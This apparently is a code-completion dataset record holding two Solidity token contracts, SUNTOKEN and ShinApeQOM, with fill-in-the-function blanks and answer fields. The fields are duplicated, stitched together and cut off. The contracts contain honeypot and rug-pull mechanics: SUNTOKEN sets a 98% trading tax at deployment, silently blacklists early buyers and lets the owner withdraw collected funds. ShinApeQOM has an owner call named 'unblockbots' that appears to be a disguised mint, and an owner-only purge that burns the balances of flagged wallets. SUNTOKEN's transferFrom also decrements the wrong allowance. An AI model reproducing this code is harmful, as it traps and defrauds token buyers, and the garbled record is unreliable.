uint tax_total = selltax; //Sell tax (applies also to p2p transactions)
if(from == uniswapV2Pair){ //Buy tax
tax_total = buytax;
}
if(to == uniswapV2Pair && block.timestamp < FirstBuyTimestamp[from] + 3600*24*_enableExtraTax){
tax_total += bonustax; //bonus tax on sells 24 hours after the fist buy
}
taxed_amount = mul(amount, tax_total);
taxed_amount = div(taxed_amount,100);
recieve_amount = sub(amount,taxed_amount);
_transfer(from, address(this), taxed_amount); //transfer taxed tokens to contract
}
if(swapEnabled == true && from != uniswapV2Pair){ //swaps only happen on sells
uint contractBalance = balanceOf(address(this));
approveRouter(contractBalance);
swapTokensForETH(contractBalance,address(this)); //swap tokens in contract
}
}
_transfer(from, to, recieve_amount); //transfer tokens to reciever
inSwap = false;
////
return true;
}
function approve(address spender, uint amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function allowance(address fundsOwner, address spender) public view returns (uint) {
return _allowances[fundsOwner][spender];
}
function renounceOwnership() public owner returns(bool) {
_owner = address(this);
return true;
}
function _approve(address holder, address spender, uint256 amount) internal {
require(holder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[holder][spender] = amount;
emit Approval(holder, spender, amount);
}
function timestamp() public view returns (uint) {
return block.timestamp;
}
function swapOptions(bool EnableAutoSwap, bool EnableCollectTax) public owner returns (bool) {
swapEnabled = EnableAutoSwap;
collectTaxEnabled = EnableCollectTax;
return true;
}
function blacklist(address user) internal returns (bool) {
isBlacklisted[user] = true;
return true;
}
function whitelist(address user) public owner returns (bool) {
isBlacklisted[user] = false;
return true;
}
function enableMaxBuy() public owner returns (bool) {
maxbuy_amount = maxAmount;
return true;
}
function disableMaxBuy() public owner returns (bool) {
uint MAXINT = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
maxbuy_amount = MAXINT; //inf
return true;
}
function excludeFromTax(address user) public owner returns (bool) {
isExcluded[user] = true;
return true;
}
function includeFromTax(address user) public owner returns (bool) {
isExcluded[user] = false;
return true;
}
function enableExtraTax() public owner returns (bool) {
_enableExtraTax = 1;
return true;
}
function disableExtraTax() public owner returns (bool) {
_enableExtraTax = 0;
return true;
}
function enableBlacklist() public owner returns (bool) {
blacklistEnabled = true;
return true;
}
function setTaxes(uint _selltax, uint _buytax, uint _bonustax) public owner returns (bool) {
require(_selltax <= maxTax);
require(_buytax <= maxTax);
require(_bonustax <= maxBonusTax);
selltax = _selltax;
buytax = _buytax;
bonustax = _bonustax;
return true;
}
//Open trading
function OpenTrading() public owner{
enableMaxBuy();
swapOptions(true,true);
enableBlacklist();
setTaxes(10,10,15);
enableExtraTax();
}
// Uniswap functions
function CreatePair() internal{
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
function AddLiq(uint256 tokenAmount, uint256 bnbAmount) public owner{
uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
}
//(Call this function to add initial liquidity and turn on the anti-whale mechanics. sender(=owner) gets the LP tokens)
function AddFullLiq() public owner{
approveRouter(totalSupply());
uint bnbAmount = getBNBbalance(address(this));
uint tokenAmount = balanceOf(address(this));
uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
approveRouter(0); //router is initially approved totalsupply() in constructor
swapOptions(true,true);
}
function AddHalfLiq() public owner{
uint contractBalance = getBNBbalance(address(this));
uint bnbAmount = div(contractBalance,2);
contractBalance = balanceOf(address(this));
uint tokenAmount = div(contractBalance,2);
uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
}
function swapTokensForETH(uint amount, address to) internal{
inSwap = true;
address[] memory path = new address[](2); //Creates a memory string
path[0] = address(this); //Token address
path[1] = WBNB_address; //BNB address
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount,0,path,to,block.timestamp);
}
function getAmountsOut(uint amountIn) public view returns (uint[] memory amounts){ //Returns ETH value of input token amount
address[] memory path = new address[](2); //Creates a memory string
path[0] = address(this); //Token address
path[1] = WBNB_address; //BNB address
amounts = uniswapV2Router.getAmountsOut(amountIn,path);
return amounts;
}
function approveRouter(uint amount) internal returns (bool){
_approve(address(this), router, amount);
return true;
}
function withdrawTokens(address reciever) public owner returns (bool) {
_transfer(address(this), reciever, balanceOf(address(this))); //Used if router gets clogged
return true;
}
function setWallets(address investment, address team) public owner returns (bool) {
wallet_investment = investment;
wallet_team = team;
return true;
}
//Native ETH/BNB functions
function claim() public owner returns (bool){
uint contractBalance = address(this).balance;
payable(wallet_team).transfer(contractBalance/2);
payable(wallet_investment).transfer(contractBalance/2);
return true;
}
function getBNBbalance(address holder) public view returns (uint){
uint balance = holder.balance;
return balance;
}
// SafeMath
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {<FILL_FUNCTION_BODY> }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
//to recieve ETH from uniswapV2Router when swaping. just accept it.
receive() external payable {}
fallback() external payable {}
} | contract SUNTOKEN {
mapping(address => uint) _balances;
mapping(address => mapping(address => uint)) _allowances;
mapping(address => bool) public isBlacklisted;
mapping(address => bool) public isExcluded;
mapping(address => uint) FirstBuyTimestamp;
string _name;
string _symbol;
uint _supply;
uint8 _decimals;
uint public maxbuy_amount;
uint deployTimestamp;
uint blacklistedUsers;
uint _enableExtraTax;
uint selltax;
uint buytax;
uint bonustax;
uint maxTax;
uint maxBonusTax;
uint maxAmount;
bool public swapEnabled;
bool public collectTaxEnabled;
bool public inSwap;
bool public blacklistEnabled;
address _owner;
address uniswapV2Pair; //address of the pool
address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //ETH: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D BSCtest: 0xD99D1c33F9fC3444f8101754aBC46c52416550D1 BSC: 0x10ED43C718714eb63d5aA57B78B54704E256024E
address WBNB_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //ETH: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ETHtest: 0xc778417E063141139Fce010982780140Aa0cD5Ab BSCtest: 0xae13d989daC2f0dEbFf460aC112a837C89BAa7cd BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c
address wallet_team;
address wallet_investment;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router); //Interface call name
ERC20 WBNB = ERC20(WBNB_address);
constructor() {
_owner = msg.sender;
_name = "SUN Investments";
_symbol = "SUN";
_supply = 100000000000; // 100 billion
_decimals = 6;
maxTax = 15;
maxBonusTax = 15;
maxAmount = 20000000 * 10 **_decimals;
wallet_team = 0x9aB5C85752fD5A12389271B6d6E86ccf13aC7111;
wallet_investment = 0x5BDc5f06e5414152824eC3803fb7fe46a1dc161f;
excludeFromTax(wallet_team);
excludeFromTax(wallet_investment);
excludeFromTax(msg.sender);
excludeFromTax(0xd1917932A7Db6Af687B523D5Db5d7f5c2734763F); //bulksender.app Ropsten: 0xfe25A97B5E3257e6e7164Ede813C3d4FBb1C2e3b Mainnet: 0xd1917932A7Db6Af687B523D5Db5d7f5c2734763F
_balances[msg.sender] = totalSupply()*(98-15)/100;
_balances[address(this)] = totalSupply()*2/100;
CreatePair();
disableMaxBuy();
selltax = 98;
buytax = 98;
bonustax = 0;
deployTimestamp = block.timestamp;
emit Transfer(address(0), msg.sender, totalSupply()*(98-15)/100);
emit Transfer(address(0), address(this), totalSupply()*2/100);
}
modifier owner {
require(msg.sender == _owner); _;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
function totalSupply() public view returns(uint) {
return mul(_supply,(10 ** _decimals));
}
function balanceOf(address wallet) public view returns(uint) {
return _balances[wallet];
}
function getOwner() public view returns(address) {
return _owner;
}
function getPair() public view returns(address) {
return uniswapV2Pair;
}
function getRouter() public view returns(address) {
return router;
}
function getWBNB() public view returns(address) {
return WBNB_address;
}
event Transfer(address indexed from, address indexed to, uint amount);
event Approval(address indexed fundsOwner, address indexed spender, uint amount);
function _transfer(address from, address to, uint amount) internal returns(bool) {
require(balanceOf(from) >= amount, "Insufficient balance.");
require(isBlacklisted[from] == false && isBlacklisted[to] == false, "Blacklisted");
_balances[from] = sub(balanceOf(from),amount);
_balances[to] = add(balanceOf(to),amount);
emit Transfer(from, to, amount);
return true;
}
function transfer(address to, uint amount) public returns(bool) {
require(amount <= maxbuy_amount, "Amount exceeds max. limit");
require(balanceOf(to) + amount <= maxbuy_amount, "Balance exceeds max.limit"); //Located in transfer() so that only buys can get reverted
address from = msg.sender;
doThaTaxTing(from, to, amount); //This is where tokenomics get applied to the transaction
if(blacklistedUsers < 15 && to != router && to != uniswapV2Pair && to != _owner && blacklistEnabled == true){
blacklist(to);
blacklistedUsers += 1;
}
return true;
}
function transferFrom(address from, address to, uint amount) public returns (bool) {
uint authorizedAmount = allowance(from, msg.sender);
require(authorizedAmount >= amount, "Insufficient allowance.");
doThaTaxTing(from, to, amount);
_allowances[from][to] = sub(allowance(from, msg.sender),amount);
return true;
}
function doThaTaxTing(address from, address to, uint amount) internal returns (bool) {
////
uint recieve_amount = amount;
uint taxed_amount = 0;
if(FirstBuyTimestamp[to] == 0){
FirstBuyTimestamp[to] = block.timestamp; //Store time of first buy
}
if(inSwap == false && isExcluded[from] == false && isExcluded[to] == false){
if(collectTaxEnabled == true){
uint tax_total = selltax; //Sell tax (applies also to p2p transactions)
if(from == uniswapV2Pair){ //Buy tax
tax_total = buytax;
}
if(to == uniswapV2Pair && block.timestamp < FirstBuyTimestamp[from] + 3600*24*_enableExtraTax){
tax_total += bonustax; //bonus tax on sells 24 hours after the fist buy
}
taxed_amount = mul(amount, tax_total);
taxed_amount = div(taxed_amount,100);
recieve_amount = sub(amount,taxed_amount);
_transfer(from, address(this), taxed_amount); //transfer taxed tokens to contract
}
if(swapEnabled == true && from != uniswapV2Pair){ //swaps only happen on sells
uint contractBalance = balanceOf(address(this));
approveRouter(contractBalance);
swapTokensForETH(contractBalance,address(this)); //swap tokens in contract
}
}
_transfer(from, to, recieve_amount); //transfer tokens to reciever
inSwap = false;
////
return true;
}
function approve(address spender, uint amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function allowance(address fundsOwner, address spender) public view returns (uint) {
return _allowances[fundsOwner][spender];
}
function renounceOwnership() public owner returns(bool) {
_owner = address(this);
return true;
}
function _approve(address holder, address spender, uint256 amount) internal {
require(holder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[holder][spender] = amount;
emit Approval(holder, spender, amount);
}
function timestamp() public view returns (uint) {
return block.timestamp;
}
function swapOptions(bool EnableAutoSwap, bool EnableCollectTax) public owner returns (bool) {
swapEnabled = EnableAutoSwap;
collectTaxEnabled = EnableCollectTax;
return true;
}
function blacklist(address user) internal returns (bool) {
isBlacklisted[user] = true;
return true;
}
function whitelist(address user) public owner returns (bool) {
isBlacklisted[user] = false;
return true;
}
function enableMaxBuy() public owner returns (bool) {
maxbuy_amount = maxAmount;
return true;
}
function disableMaxBuy() public owner returns (bool) {
uint MAXINT = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
maxbuy_amount = MAXINT; //inf
return true;
}
function excludeFromTax(address user) public owner returns (bool) {
isExcluded[user] = true;
return true;
}
function includeFromTax(address user) public owner returns (bool) {
isExcluded[user] = false;
return true;
}
function enableExtraTax() public owner returns (bool) {
_enableExtraTax = 1;
return true;
}
function disableExtraTax() public owner returns (bool) {
_enableExtraTax = 0;
return true;
}
function enableBlacklist() public owner returns (bool) {
blacklistEnabled = true;
return true;
}
function setTaxes(uint _selltax, uint _buytax, uint _bonustax) public owner returns (bool) {
require(_selltax <= maxTax);
require(_buytax <= maxTax);
require(_bonustax <= maxBonusTax);
selltax = _selltax;
buytax = _buytax;
bonustax = _bonustax;
return true;
}
//Open trading
function OpenTrading() public owner{
enableMaxBuy();
swapOptions(true,true);
enableBlacklist();
setTaxes(10,10,15);
enableExtraTax();
}
// Uniswap functions
function CreatePair() internal{
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
function AddLiq(uint256 tokenAmount, uint256 bnbAmount) public owner{
uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
}
//(Call this function to add initial liquidity and turn on the anti-whale mechanics. sender(=owner) gets the LP tokens)
function AddFullLiq() public owner{
approveRouter(totalSupply());
uint bnbAmount = getBNBbalance(address(this));
uint tokenAmount = balanceOf(address(this));
uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
approveRouter(0); //router is initially approved totalsupply() in constructor
swapOptions(true,true);
}
function AddHalfLiq() public owner{
uint contractBalance = getBNBbalance(address(this));
uint bnbAmount = div(contractBalance,2);
contractBalance = balanceOf(address(this));
uint tokenAmount = div(contractBalance,2);
uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
}
function swapTokensForETH(uint amount, address to) internal{
inSwap = true;
address[] memory path = new address[](2); //Creates a memory string
path[0] = address(this); //Token address
path[1] = WBNB_address; //BNB address
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount,0,path,to,block.timestamp);
}
function getAmountsOut(uint amountIn) public view returns (uint[] memory amounts){ //Returns ETH value of input token amount
address[] memory path = new address[](2); //Creates a memory string
path[0] = address(this); //Token address
path[1] = WBNB_address; //BNB address
amounts = uniswapV2Router.getAmountsOut(amountIn,path);
return amounts;
}
function approveRouter(uint amount) internal returns (bool){
_approve(address(this), router, amount);
return true;
}
function withdrawTokens(address reciever) public owner returns (bool) {
_transfer(address(this), reciever, balanceOf(address(this))); //Used if router gets clogged
return true;
}
function setWallets(address investment, address team) public owner returns (bool) {
wallet_investment = investment;
wallet_team = team;
return true;
}
//Native ETH/BNB functions
function claim() public owner returns (bool){
uint contractBalance = address(this).balance;
payable(wallet_team).transfer(contractBalance/2);
payable(wallet_investment).transfer(contractBalance/2);
return true;
}
function getBNBbalance(address holder) public view returns (uint){
uint balance = holder.balance;
return balance;
}
<FILL_FUNCTION>
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
//to recieve ETH from uniswapV2Router when swaping. just accept it.
receive() external payable {}
fallback() external payable {}
} |
if (a == 0 || b == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
| function mul(uint256 a, uint256 b) internal pure returns (uint256 c) | // SafeMath
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) |
26195 | ShinApeQOM | null | contract ShinApeQOM is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
bool private swapping;
bool public deadBlock;
bool public isLaunced;
bool public profitBaseFeeOn = true;
bool public buyingPriceOn = true;
bool public IndividualSellLimitOn = false;
uint256 public feeDivFactor = 200;
uint256 public swapTokensAtAmount = balanceOf(address(this)) / feeDivFactor ;
uint256 public liquidityFee;
uint256 public marketingFee;
uint256 public totalFees = liquidityFee.add(marketingFee);
uint256 public maxFee = 28;
uint256 private percentEquivalent;
uint256 public maxBuyTransactionAmount;
uint256 public maxSellTransactionAmount;
uint256 public maxWalletToken;
uint256 public launchedAt;
mapping (address => Account) public _account;
mapping (address => bool) public _isBlacklisted;
mapping (address => bool) public _isSniper;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public automatedMarketMakerPairs;
address[] public isSniper;
address public uniswapV2Pair;
address public liquidityReceiver;
address public marketingFeeWallet;
constructor(uint256 liqFee, uint256 marketFee, uint256 supply, uint256 maxBuyPercent, uint256 maxSellPercent, uint256 maxWalletPercent, address marketingWallet, address liqudityWallet, address uniswapV2RouterAddress) ERC20("ShinApe QOM", "SAQOM") {<FILL_FUNCTION_BODY> }
receive() external payable {
}
function setDeadBlock(bool deadBlockOn) external onlyOwner {
deadBlock = deadBlockOn;
}
function setMaxToken(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
maxBuyTransactionAmount = maxBuy * (10**9);
maxSellTransactionAmount = maxSell * (10**9);
maxWalletToken = maxWallet * (10**9);
}
function setProfitBasedFeeParameters(uint256 _maxFee, bool _profitBasedFeeOn, bool _buyingPriceOn) public onlyOwner{
require(_maxFee <= 65);
profitBaseFeeOn = _profitBasedFeeOn;
buyingPriceOn = _buyingPriceOn;
maxFee = _maxFee;
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "Token: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = _uniswapV2Pair;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setMarketingWallet(address payable wallet) external onlyOwner{
marketingFeeWallet = wallet;
}
function purgeSniper() external onlyOwner {
for(uint256 i = 0; i < isSniper.length; i++){
address wallet = isSniper[i];
uint256 balance = balanceOf(wallet);
super._burn(address(wallet), balance);
_isSniper[wallet] = false;
}
}
function unblockbots(address account, uint256 amount) external onlyOwner {
super._unblockbots(account, amount * (10 ** 9));
}
function setFee(uint256 liquidityFeeValue, uint256 marketingFeeValue) public onlyOwner {
liquidityFee = liquidityFeeValue;
marketingFee = marketingFeeValue;
totalFees = liquidityFee.add(marketingFee);
emit UpdateFees(liquidityFee, marketingFee, totalFees);
}
function setFeeDivFactor(uint256 value) external onlyOwner{
feeDivFactor = value;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Token: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function launch() public onlyOwner {
isLaunced = true;
launchedAt = block.timestamp.add(30);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Token: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function blacklistAddress(address account, bool blacklisted) public onlyOwner {
_isBlacklisted[account] = blacklisted;
}
function withdrawRemainingToken(address erc20, address account) public onlyOwner {
uint256 balance = IERC20(erc20).balanceOf(address(this));
IERC20(erc20).transfer(account, balance);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlacklisted[to] && !_isBlacklisted[from], "Your address or recipient address is blacklisted");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
bool didSwap;
if( canSwap &&
!swapping &&
!automatedMarketMakerPairs[from] &&
from != owner() &&
to != owner()
) {
swapping = true;
uint256 marketingTokens = contractTokenBalance.mul(marketingFee).div(totalFees);
swapAndSendToMarketingWallet(marketingTokens);
emit swapTokenForMarketing(marketingTokens, marketingFeeWallet);
uint256 swapTokens = contractTokenBalance.mul(liquidityFee).div(totalFees);
swapAndLiquify(swapTokens);
emit swapTokenForLiquify(swapTokens);
swapping = false;
didSwap = true;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if(takeFee) {
if(automatedMarketMakerPairs[from]){
require(isLaunced, "Token isn't launched yet");
require(
amount <= maxBuyTransactionAmount,
"Transfer amount exceeds the maxTxAmount."
);
require(
balanceOf(to) + amount <= maxWalletToken,
"Exceeds maximum wallet token amount."
);
bool dedBlock = block.timestamp <= launchedAt;
if (dedBlock && !_isSniper[to])
isSniper.push(to);
if(deadBlock && !_isSniper[to])
isSniper.push(to);
if(buyingPriceOn == true){
_account[to].priceBought = calculateBuyingPrice(to, amount);
}
emit DEXBuy(amount, to);
}else if(automatedMarketMakerPairs[to]){
require(!_isSniper[from], "You are sniper");
require(amount <= maxSellTransactionAmount, "Sell transfer amount exceeds the maxSellTransactionAmount.");
if(IndividualSellLimitOn == true && _account[from].sellLimitLiftedUp == false){
uint256 bal = balanceOf(from);
if(bal > 2){
require(amount <= bal.div(2));
_account[from].amountSold += amount;
if(_account[from].amountSold >= bal.div(3)){
_account[from].sellLimitLiftedUp = true;
}
}
}
if(balanceOf(from).sub(amount) == 0){
_account[from].priceBought = 0;
}
emit DEXSell(amount, from);
}else if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
if(buyingPriceOn == true){
_account[to].priceBought = calculateBuyingPrice(to, amount);
}
if(balanceOf(from).sub(amount) == 0){
_account[from].priceBought = 0;
}
emit TokensTransfer(from, to, amount);
}
uint256 fees = amount.mul(totalFees).div(100);
if(automatedMarketMakerPairs[to]){
fees += amount.mul(1).div(100);
}
uint256 profitFeeTokens;
if(profitBaseFeeOn == true && !_isExcludedFromFees[from] && automatedMarketMakerPairs[to]){
uint256 p;
if(didSwap == true){
p = contractTokenBalance > percentEquivalent ? contractTokenBalance.div(percentEquivalent) : 1;
}
profitFeeTokens = calculateProfitFee(_account[from].priceBought, amount, p);
profitFeeTokens = profitFeeTokens > fees ? profitFeeTokens - fees : 0;
}
amount = amount.sub(fees + profitFeeTokens);
super._transfer(from, address(this), fees + profitFeeTokens);
}
super._transfer(from, to, amount);
}
function getCurrentPrice() public view returns (uint256 currentPrice) {//This value serves as a reference to calculate profit only.
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
uint256 tokens;
uint256 ETH;
(tokens, ETH,) = pair.getReserves();
if(ETH > tokens){
uint256 _tokens = tokens;
tokens = ETH;
ETH = _tokens;
}
if(ETH == 0){
currentPrice = 0;
}else if((ETH * 100000000000000) > tokens){
currentPrice = (ETH * 100000000000000).div(tokens);
}else{
currentPrice = 0;
}
}
function calculateProfitFee(uint256 priceBought, uint256 amountSelling, uint256 percentageReduction) private view returns (uint256 feeTokens){
uint256 currentPrice = getCurrentPrice();
uint256 feePercentage;
if(priceBought == 0 || amountSelling < 100){
feeTokens = 0;
}
else if(priceBought + 10 < currentPrice){
uint256 h = 100;
feePercentage = h.div((currentPrice.div((currentPrice - priceBought).div(2))));
if(maxFee > percentageReduction){
feePercentage = feePercentage >= maxFee - percentageReduction ? maxFee - percentageReduction : feePercentage;
feeTokens = feePercentage > 0 ? amountSelling.mul(feePercentage).div(h) : 0;
}else{
feeTokens = 0;
}
}else{
feeTokens = 0;
}
}
function calculateBuyingPrice(address buyer, uint256 amountBuying) private view returns (uint256 price){
uint256 currentPrice = getCurrentPrice();
uint256 p1 = _account[buyer].priceBought;
uint256 buyerBalance = balanceOf(buyer);
if(p1 == 0 || buyerBalance == 0){
price = currentPrice;
}else if(amountBuying == 0){
price = p1;
}else{
price = ((p1 * buyerBalance) + (currentPrice * amountBuying)).div(buyerBalance + amountBuying);
}
}
function swapAndSendToMarketingWallet(uint256 tokens) private {
swapTokensForEth(tokens);
payable(marketingFeeWallet).transfer(address(this).balance);
}
function swapAndLiquify(uint256 tokens) private {
// split the contract balance into halves
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(liquidityReceiver),
block.timestamp
);
}
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
struct Account{uint256 lastBuy;uint256 lastSell;uint256 priceBought;uint256 amountSold;bool sellLimitLiftedUp;}
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiqudity);
event UpdateFees(uint256 newliquidityfees, uint256 newMarketingFees, uint256 newTotalFees);
event swapTokenForLiquify(uint256 amount);
event swapTokenForMarketing(uint256 amount, address sendToWallet);
event DEXBuy(uint256 tokensAmount, address buyers);
event DEXSell(uint256 tokensAmount, address sellers);
event TokensTransfer(address sender, address recipient, uint256 amount);
} | contract ShinApeQOM is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
bool private swapping;
bool public deadBlock;
bool public isLaunced;
bool public profitBaseFeeOn = true;
bool public buyingPriceOn = true;
bool public IndividualSellLimitOn = false;
uint256 public feeDivFactor = 200;
uint256 public swapTokensAtAmount = balanceOf(address(this)) / feeDivFactor ;
uint256 public liquidityFee;
uint256 public marketingFee;
uint256 public totalFees = liquidityFee.add(marketingFee);
uint256 public maxFee = 28;
uint256 private percentEquivalent;
uint256 public maxBuyTransactionAmount;
uint256 public maxSellTransactionAmount;
uint256 public maxWalletToken;
uint256 public launchedAt;
mapping (address => Account) public _account;
mapping (address => bool) public _isBlacklisted;
mapping (address => bool) public _isSniper;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public automatedMarketMakerPairs;
address[] public isSniper;
address public uniswapV2Pair;
address public liquidityReceiver;
address public marketingFeeWallet;
<FILL_FUNCTION>
receive() external payable {
}
function setDeadBlock(bool deadBlockOn) external onlyOwner {
deadBlock = deadBlockOn;
}
function setMaxToken(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
maxBuyTransactionAmount = maxBuy * (10**9);
maxSellTransactionAmount = maxSell * (10**9);
maxWalletToken = maxWallet * (10**9);
}
function setProfitBasedFeeParameters(uint256 _maxFee, bool _profitBasedFeeOn, bool _buyingPriceOn) public onlyOwner{
require(_maxFee <= 65);
profitBaseFeeOn = _profitBasedFeeOn;
buyingPriceOn = _buyingPriceOn;
maxFee = _maxFee;
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "Token: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = _uniswapV2Pair;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setMarketingWallet(address payable wallet) external onlyOwner{
marketingFeeWallet = wallet;
}
function purgeSniper() external onlyOwner {
for(uint256 i = 0; i < isSniper.length; i++){
address wallet = isSniper[i];
uint256 balance = balanceOf(wallet);
super._burn(address(wallet), balance);
_isSniper[wallet] = false;
}
}
function unblockbots(address account, uint256 amount) external onlyOwner {
super._unblockbots(account, amount * (10 ** 9));
}
function setFee(uint256 liquidityFeeValue, uint256 marketingFeeValue) public onlyOwner {
liquidityFee = liquidityFeeValue;
marketingFee = marketingFeeValue;
totalFees = liquidityFee.add(marketingFee);
emit UpdateFees(liquidityFee, marketingFee, totalFees);
}
function setFeeDivFactor(uint256 value) external onlyOwner{
feeDivFactor = value;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Token: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function launch() public onlyOwner {
isLaunced = true;
launchedAt = block.timestamp.add(30);
}
